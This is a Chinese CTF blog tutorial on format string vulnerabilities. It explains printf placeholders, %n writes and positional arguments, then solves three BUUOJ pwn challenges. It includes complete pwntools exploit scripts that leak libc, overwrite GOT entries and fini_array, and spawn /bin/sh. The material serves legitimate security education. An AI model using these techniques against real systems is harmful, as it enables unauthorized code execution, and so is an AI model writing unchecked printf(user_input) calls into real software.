写在前面:
本篇博客为本人原创,但非首发,首发在先知社区
原文链接:
https://xz.aliyun.com/t/14253?time__1311=mqmx9QiQi%3D0%3DDQoDsNOfptD8nDCFdNNK4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F74789
各位师傅有兴趣的话也可以去先知社区个人主页逛逛(个人昵称:Shad0w_2023)。
写在前面:
格式化字符串漏洞在实际利用过程中现在几乎挖掘不到了,但是在CTF的pwn题中,由于其可以结合其他溢出漏洞利用,还是经常会遇到格式化字符串漏洞的。
一.什么是格式化字符串?
在我们初识C语言的时候,我们经常会使用到printf这之类的函数,printf函数的第一个参数就是一个格式化字符串,就是程序员可以使用占位符,指定格式,这些占位符用来替代后面的变量或者是数据。简单总结就是说,我们可以在一个字符串中,执行某个位置应该输出怎么样的数据,使用占位符代替,在输出的时候函数会自动按照我们指定的格式,寻找参数并以我们预想的形式输出。
格式化字符串的工作原理
那么在格式化字符串中,我们只是指定了输出格式,那函数会怎样确定用来替代这个占位符的数据呢?那么我们就来看看格式化字符串的工作原理:
我们先来写一段这样的程序:
int main() {char a[] = "aaaa";char b[] = "bbbb";char c[] = "cccc";char d[] = "dddd";printf("%s %s %s %s", a, b, c);return 0;
}
可以明显看到,在printf函数中,我们使用了四个占位符,但是我故意将第四个占位符没有填充,那么程序的执行结果会是怎样的呢?
我们来看看程序执行结果:
可以看到程序还是输出了四个结果,那么第四个结果是哪里来的?我们来通过动态调试来一探究竟:
这里我将要执行的函数就是printf函数,我们来看看堆栈:
我们从堆栈中可以明显地看到,我们传给printf函数的参数,第一个是格式化字符串,而格式化字符串中,我们使用的第一个占位符,将会被格式化字符串后面的第一个参数替换,第二个同理,以此类推,所以我们就知道,用来替换第四个占位符的就是相对于格式化字符串的第四个参数了。
C语言中格式化字符串常用占位符
了解了格式化字符串的工作原理,在利用格式化字符串漏洞之前,我们还需要对占位符有着深刻的理解,我们就来回顾一下C语言格式化字符串中常用的占位符:
占位符 | 含义 |
---|---|
%d | 以十进制形式输出整数 |
%u | 以十进制形式输出无符号整数 |
%x | 以十六进制形式输出整数(小写字母) |
%X | 以十六进制形式输出整数(大写字母) |
%o | 以十进制形式输出整数 |
%f | 以浮点数形式输出实数 |
%e | 以指数形式输出实数 |
%g | 自动选择%f或者%e输出实数 |
%c | 输出单个字符 |
%s | 输出字符串 |
%p | 输出指针的地址 |
%n | 将已经输出的字符数写入参数 |
以上这些就是常用的占位符了,而在我们格式化字符串漏洞利用中,常用%p来泄露地址,使用%n来实现向指定地址写入数据(4字节),我们还通常会使用%hn(2字节),%hhn(1字节),%lln(8字节)进行写入。
补充知识
而在我们格式化字符串漏洞的利用中,我们通常还会用到正常开发很少用到的字符:数字+$的形式。
还记得我们前面写的那个程序吗?在那个格式化字符串中,我们没有用到数字+$,在这时候,程序遇到一个占位符,就按顺序向后寻找参数,但是我们可以使用数字+$的形式,直接指定参数相对于格式化字符串的偏移,我们来看看这个程序:
int main() {char a[] = "aaaa";char b[] = "bbbb";char c[] = "cccc";char d[] = "dddd";printf("%3$s %2$s %1$s", a, b, c);return 0;
}
这样,当程序看到%3$s的时候,就不是直接找相对于格式化字符串的第一个参数了,而是去找相对于格式化字符串的第三个参数,这样的话,就会输出cccc,而整个程序输出cccc bbbb aaaa。
漏洞原理:
有了这些前置知识,我们就可以来了解格式化字符串漏洞的产生原理了。
我们来想想一个场景:作为程序员,我们要实现一个功能:我们需要实现一个登录功能,需要用户输入自己的用户名,然后输出Hello + 用户名,然后进行下一步操作,那么,有的程序员就会写出这样的代码:
int main() {char UserName[256]{ 0 };scanf("%s", UserName);printf(UserName);return 0;
}
那作为正常人来说,就会输入自己的用户名了,但是,如果别有用心的人呢?
大家试想一下,如果我们输入了%s,这时候,作为格式化字符串,它会输出哪里的内容?通过前面的学习我们可以知道会输出一个栈上保存的数据(相对于格式化字符串偏移为1)
- 任意地址泄露:
这时候,如果我们配合%数字$s,这时候是不是就会造成任意地址泄露? - 任意地址写:
如果我们输入%数字c%数字$n呢?这时候我们就可以实现任意地址写了。
由此可见,格式化字符串漏洞的危害还是巨大的,相对于栈溢出和堆溢出,利用起来更加方便。
漏洞利用:
格式化字符串的漏洞利用,通常可以分为两种情况,这两种情况取决于我们输入的格式化字符串保存在哪里(栈上和非栈上)。
1.栈上的格式化字符串漏洞利用
其中利用较为简单的就是栈上的格式化字符串漏洞,因为格式化字符串保存在栈上,我们就可以很容易地去修改栈上的数据,完成劫持程序流程。
1.wdb_2018_2nd_easyfmt
题目来源:https://buuoj.cn/challenges#wdb_2018_2nd_easyfmt
附件链接:https://files.buuoj.cn/files/1750417bb3fc89d74ba81c7a08a8679c/wdb_2018_2nd_easyfmt
-
拿到题目,我们首先看到题目名称,首先确定这应该是格式化字符串漏洞的利用
-
然后我们来检查一下程序:
32位程序,got表可写,没有栈溢出保护,有数据执行保护,没有PIE。 -
了解了基本情况之后,我们就来看看程序的基本逻辑
使用IDA生成伪代码:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{char buf; // [esp+8h] [ebp-70h]unsigned int v4; // [esp+6Ch] [ebp-Ch]v4 = __readgsdword(0x14u);setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0);puts("Do you know repeater?");while ( 1 ){read(0, &buf, 0x64u);printf(&buf);putchar(10);}
}
可以看到这里就是我们上面将漏洞原理的时候提出的漏洞,而且可以无限次利用,非常简单,那么我们该如何利用?
既然got表可以写,那我们就可以将printf函数的地址复写位system的地址,然后使用read函数传入/bin/sh,这样,由于我们将printf函数的地址改写为了system函数地址,那么执行printf(“/bin/sh”)的时候,实际上执行的就是system("/bin/sh’)了。
但是我们不知道libc的基地址,那么这时候就需要我们首先泄露libc基地址,然后完成上述操作了。
这里给出exp:
from pwn import *
from LibcSearcher import *#context(os = 'linux',arch = 'i386',log_level = 'debug')
#io = process("./wdb_2018_2nd_easyfmt")
io = remote("node5.buuoj.cn",26953)
elf = ELF("./wdb_2018_2nd_easyfmt")
libc = ELF("/home/shad0w/桌面/pwn/libc/libc-2.23-32.so")puts_got = elf.got['puts']
printf_got = elf.got['printf']payload1 = p32(puts_got) + b'%6$s'
io.recvuntil("Do you know repeater?")io.sendline(payload1)
puts_addr = u32(io.recvuntil("\xf7")[-4:])
print("puts_addr:" + str(hex(puts_addr)))libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']system_low = system_addr & 0xffff
system_high = (system_addr >> 16) & 0xffff
print("system_low:" + str(hex(system_low)))
print("system_high:" + str(hex(system_high)))
payload = p32(printf_got) + p32(printf_got + 2)
payload += b'%' + bytes(str(system_low - 8), "utf-8")
payload += b'c%6$hn'
payload += b'%' + bytes(str(system_high-system_low), "utf-8")
payload += b'c%7$hn'io.send(payload)payload = b'/bin/sh'
io.sendline(payload)io.interactive()
我们来看看漏洞利用的部分,这里是使用了%hn的方式,也就是一次写入两个字节,写入了两次,一次写高两字节,一次写低两字节,那么前面的%多少c我们怎么确定呢?由于我们前面输入了system地址和system+2的地址,所以在第一次写入的时候要减去8,这样才是正确的system低两字节。
2.ciscn_2019_sw_1
题目来源:https://buuoj.cn/challenges#ciscn_2019_sw_9
附件链接:https://files.buuoj.cn/files/9974d878fc44f97d36a5ab42729d9b42/ciscn_2019_sw_1
- 拿到题目,首先检查基本信息:
32位应用程序,没有栈溢出保护,没有PIE,只有数据执行保护。 - 知道了基本信息,就去看看程序逻辑:
这个程序逻辑看起来也是非常简单,但是这里好像只能使用一次。
而且发现了一个调用了system的函数,这就意味着我们不用泄露libc基址了。
那么我们该如何利用该漏洞?
这时候就要考察大家对底层的了解了,程序在调用main函数之前,实际上会调用fini_array里面的函数,直到函数调用完成才会执行main函数,在main函数调用完后,还会调用fini_array里面的函数,这里给出一张流程图:
我们在调试程序的时候,不难发现,main函数也是有返回地址的,这个返回地址在__linc_sttart_main,也就是说,我们的main函数也是被其他函数调用过来的。
从图中也可以看到,在main函数被调用之前,还会调用__libc_csu_init,init_array中的函数,在main函数调用完成后,会调用fini_array数组中的每一个函数指针。
我们知道了在mian函数执行完毕之后还会执行其他代码,那我们在这些代码中可不可以做点手脚,让其又返回main函数?这样我们就有更多的利用机会了。
这里给出一种攻击方法:既然main函数完成之后会调用fini_array数组中的函数指针,那我们可以将这里的函数指针改为main函数,这样就会又返回main函数执行第二次了。
这里既然我们有了利用思路,那就非常容易了,我们在第一次执行main函数的时候,将fini_array[0]修改为main函数地址,并且将printf函数覆写为system函数的地址,第二次执行main函数的时候,直接输入/bin/sh就可以成功利用漏洞。
具体利用过程:
- 首先,我们通过gdb调试得到格式化字符串距离printf参数的距离:
可以看到,我们输入的字符串保存地址距离printf格式化字符串距离为4。 - 然后我们找到printf的got表地址和fini_array数组的地址,找到system函数地址(这个过程可以自己手动找,也可以使用pwntools写脚本找到)
- 我们在第一次进入main函数的时候,利用格式化字符串漏洞,将fini_array[0]改写为main地址,将printf函数got表项地址写为system的plt地址,注意这里一定是plt表中的地址,因为system函数没有被使用过,即还没有进行绑定:
payload = p32(fini_array_addr + 2) + p32(printf_got + 2)
payload += p32(printf_got) + p32(fini_array_addr)
payload += b'%' + bytes(str(main_high - 0x10),"utf_8") + b'c%4$hn'
payload += b'%5$hn'
payload += b'%' + bytes(str(system_low - main_high),"utf-8") + b'c%6$hn'
payload += b'%' + bytes(str(main_low - system_low),"utf-8") + b'c%7$hn'
payload += b'\x00'io.sendlineafter("Welcome to my ctf! What's your name?",payload)
这时候,程序执行完main函数,进入fini_array寻找函数指针的时候,就会再次执行main函数
- 在第二次进入main函数的时候,我们输入‘/bin/sh’,然后程序就会执行system(”/bin/sh“)。
这里给出完成的exp:
from pwn import *context(os = 'linux',arch = 'i386',log_level = 'debug')
#io = process("./ciscn_2019_sw_1")
io = remote("node5.buuoj.cn",28467)
elf = ELF("./ciscn_2019_sw_1")printf_got = elf.got['printf']
system_plt = elf.plt['system']
fini_array_addr = 0x0804979C
main_addr = 0x08048534system_high = (system_plt >> 16) & 0xffff
system_low = system_plt & 0xffff
main_high = (main_addr >> 16) & 0xffff
main_low = main_addr & 0xffffprint("system_high:" + str(hex(system_high)))
print("system_low:" + str(hex(system_low)))
print("main_high:" + hex(main_high))
print("main_low:" + hex(main_low))'''
system_high:0x804
system_low:0x83d0
main_high:0x804
main_low:0x8534
'''payload = p32(fini_array_addr + 2) + p32(printf_got + 2)
payload += p32(printf_got) + p32(fini_array_addr)
payload += b'%' + bytes(str(main_high - 0x10),"utf_8") + b'c%4$hn'
payload += b'%5$hn'
payload += b'%' + bytes(str(system_low - main_high),"utf-8") + b'c%6$hn'
payload += b'%' + bytes(str(main_low - system_low),"utf-8") + b'c%7$hn'
payload += b'\x00'io.sendlineafter("Welcome to my ctf! What's your name?",payload)payload1 = b'/bin/sh'
io.sendlineafter("Welcome to my ctf! What's your name?",payload1)io.interactive()
2.非栈上的格式化字符串漏洞利用
为什么叫做非栈上的格式化字符串,是因为我们输入的buffer,不存在栈上,回想一下我们的栈上的格式化字符串漏洞利用,我们将我们要改写的地址写到栈上,这样格式化字符串就可以直接找到这个地址,从而进行修改,但是我们的输入buffer不存在于栈上,这时候我们输入的地址,格式化字符串就无法找到这个地址了,我们就很难做到任意地址写了,那么非栈上的格式化字符串漏洞我们该如何利用呢?
其实我们可以通过漏洞,修改函数返回地址,然后精心构造ROP链,就可以完成攻击,这里不再介绍,我们这里来介绍两种复写函数地址的方法,也是大家在网上通常看到的方法。
<1>四马分肥
由于我们通常是利用格式化字符串漏洞将printf_got表地址写为system函数地址,那我这里就以这两个地址为例。
我们要将printf_got的地址放到栈上,但是这时候我们的格式化字符串不存在于栈上,那我们的地址就不能通过我们写的时候传进去,我们需要利用漏洞,将栈上原来存在的地址,修改为printf_got地址,这样我们再次利用格式化字符串漏洞,就可以将printf_got修改为system函数的地址。那这里为什么又要叫四马分肥呢?因为我们printf_got地址通常情况下比较大,我们分别在栈上找四个地址,然后将其修改为printf_got,printf_got+2,printf_got+4,printf_got+6,然后我们每次只写入两个字节,这样我们就可以正常覆写数据了。
在这里在栈上寻找怎样的地址修改为printf_got的地址呢?其实这里也是有技巧的,我们通常会找那些与printf_got高位相同的地址。
<2>诸葛连弩
我们还是以将printf_got表地址改写为system函数地址为例:
上面介绍的四马分肥的方法,需要我们在栈上找出四个地址分别写入printf_got表的地址,然后再一个一个去改,而 诸葛连弩这个方法使用了更巧妙的方法,我们就来看看这个方法。
我们在程序的栈上很容易找到这样的一段:
这样我们就可以使用诸葛连弩了,我们使用格式化字符串漏洞,将offset_2改为offset_3,这样的话我们就可以实现一段四个链的地址了,像这样:
我们以64位应用程序为例,我们就可以使用格式化字符串漏洞,使用sssssssssssssss% 9$n,将offset_3处修改为printf_got地址,然后我们使用%12$n,也就是使用offset_1处,将printf_got地址修改为system函数的地址。
总结一下,这里为什么叫诸葛连弩呢?就是因为我们构造了一支“箭”,然后我们通过多次在这支箭上发力,最后形成任意地址写,所以就想诸葛连弩一样。
非栈上格式化字符串漏洞例题讲解
题目来源:https://buuoj.cn/challenges#SWPUCTF_2019_login
附件链接:https://files.buuoj.cn/files/03b0cf41e8c34d9b029251d64df4bf92/SWPUCTF_2019_login
- 拿到题目,还是常规做法,先检查一下基本信息:
32位应用程序,开了个数据执行保护,got表可写 - 然后我们来看看程序基本逻辑
main函数:
int __cdecl main()
{setbuf(stdin, 0);setbuf(stdout, 0);setbuf(stderr, 0);puts("Please input your name: ");read(0, &fmt, 0xCu);puts("Base maybe not easy......");return sub_80485E3();
}
可以看到这里让我们输入,然后调用了sub_80485E3函数。
sub_80485E3函数:
int sub_80485E3()
{printf("hello, %s", &fmt);return sub_804854B();
}
这个函数printf出我们在main函数中输入的内容,并且注意到我们输入的buffer不在栈上。然后调用sub_804854B函数。
sub_804854B函数:
int sub_804854B()
{puts("Please input your password: ");while ( 1 ){s1[read(0, s1, 0x32u)] = 0;if ( !strncmp(s1, "wllmmllw", 8u) )break;printf("This is the wrong password: ");printf(s1);puts("Try again!");}return puts("Login successfully! Have fun!");
}
该函数通过一个while循环,让我们read到s1,然后与wllmmllw对比,如果比对不成功,就会调用printf输出我们的参数。
- 利用思路
我们先使用四马分肥的方法,在栈上寻找与printf_got表低一字节或者两字节不同的地址,然后将其分别改为printf_got,printf_got+2然后将printf_got改为system函数地址,由于我们不知道system函数地址,所以我们第一次还需要泄露libc基址。
#泄漏libc基址
payload = b'%43$p'
io.sendline(payload)
io.recvuntil("This is the wrong password: 0x")
libc_start_main = int(io.recv(8),16) - 147
#libc = LibcSearcher("__libc_start_main",libc_start_main)
print("libc_start_main:" + hex(libc_start_main))
print(hex(libc.symbols['__libc_start_main']))
libc_base = libc_start_main - libc.symbols['__libc_start_main']
print("libc_base:",hex(libc_base))
这一很多时候偏移不一样是因为libc版本不同,大家自行根据自己的libc版本进行调试。
- 接下来就要利用格式化字符串漏洞,将printf_got表项地址改写为system函数的地址,我偶们回想一下四马分肥的过程,我们需要至少两个,与printf_got表项很相似的地址,这样我们利用起来才方便,但是这里没有相似的地址,观察一下栈中,有一段这样的地址链:0xffffd778 -> 0xffffd788 -> 0xffffd798 …,而且在这条链的第二个节点上我们也可以在栈中控制,诸葛连弩的基本条件已经满足了,我们这里就来演示一下诸葛连弩:
我们可以看到,offset_0 = 0xffffd778,offset_1 = 0xffffd788,offset_2 = 0xffffd798
这里给出这样链表:
0xffffd778 -> 0xffffd788 -> 0xffffd798(分别为6$,10$,14$)
那么我们就可以使用6$构造格式化字符串,修改0xffffde788处保存的值,分别修改为0xffffd798,0xffffd798+1,0xffffd798+2,0xffffd798+3,这样我们就可以一个字节一个字节修改0xffffd798处保存的是,将其修改为printf_got表项的值,然后我们使用14$,就可以修改printf_got表项的值了。
修改offset_3为printf_got表项的部分:
#printf_got:0x804b014
num = printf_got & 0xff
print("--------------send bytes:" + hex(num))
payload_3 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_3)addr = (stack_addr & 0xff) + 1
payload_4 = b'%' + bytes(str(addr),"utf-8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_4)
num = (printf_got >> 8) & 0xff
print("--------------send bytes:" + hex(num))
payload_5 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_5)addr = (stack_addr & 0xff) + 2
payload_6 = b'%' + bytes(str(addr),"utf_8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_6)
num = (printf_got >> 16) & 0xff
print("--------------send bytes:" + hex(num))
payload_7 = b'%' + bytes(str(num),"utf_8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_7)addr = (stack_addr & 0xff) +3
payload_8 = b'%' + bytes(str(addr),"utf-8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_8)
num = (printf_got >> 24) & 0xff
print("--------------send bytes:" + hex(num))
payload_9 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_9)
再来看看修改后的效果:
这时候,我们就可以直接使用14$去修改printf_got表项的地址了,但是注意这里要一次性修改掉,不然第二次调用printf函数的时候,由于我们已经修改了部分字节,导致程序找不到printf函数,然后发现,这时候我们要写很多字节,这太大了,那我们只能再重复上述操作,将15$写为printf_got表项地址+1或者+2,方便我们后续修改:
addr = (stack_addr & 0xff) + 4
payload_10 = b'%' + bytes(str(addr),"utf-8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_10)
num = (printf_got & 0xff) + 1
print("--------------send bytes:" + hex(num))
payload_11 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_11)
pause()addr = (stack_addr & 0xff) + 5
payload_12 = b'%' + bytes(str(addr),"utf-8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_12)
num = (printf_got >> 8) & 0xff
print("--------------send bytes:" + hex(num))
payload_13 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_13)
pause()addr = (stack_addr & 0xff) + 6
payload_14 = b'%' + bytes(str(addr),"utf_8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_14)
num = (printf_got >> 16) & 0xff
print("--------------send bytes:" + hex(num))
payload_15 = b'%' + bytes(str(num),"utf_8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_15)
pause()addr = (stack_addr & 0xff) +7
payload_16 = b'%' + bytes(str(addr),"utf-8") + b'c%6$hhn'
print("--------------addr bytes:" + hex(addr))
io.sendlineafter("Try again!\n",payload_16)
num = (printf_got >> 24) & 0xff
print("--------------send bytes:" + hex(num))
payload_17 = b'%' + bytes(str(num),"utf-8") + b'c%10$hhn'
io.sendlineafter("Try again!\n",payload_17)
我们来看看修改后的效果:
好,现在我们就可以一次性将printf_got表项地址修改为system函数地址了:
print("system_addr:" + hex(system_addr))
system_low_bytes = system_addr & 0xff
system_high_word = (system_addr >> 8) & 0xffff
print("system_low_bytes" + hex(system_low_bytes))
print("system_high_word" + hex(system_high_word))
payload = b'%' + bytes(str(system_low_bytes),"utf-8") + b'c%14$hhn'
payload += b'%' + bytes(str(system_high_word - system_low_bytes),"utf-8") + b'c%15$hn'
io.sendlineafter("Try again!\n",payload)
最后也是成功拿到了shell: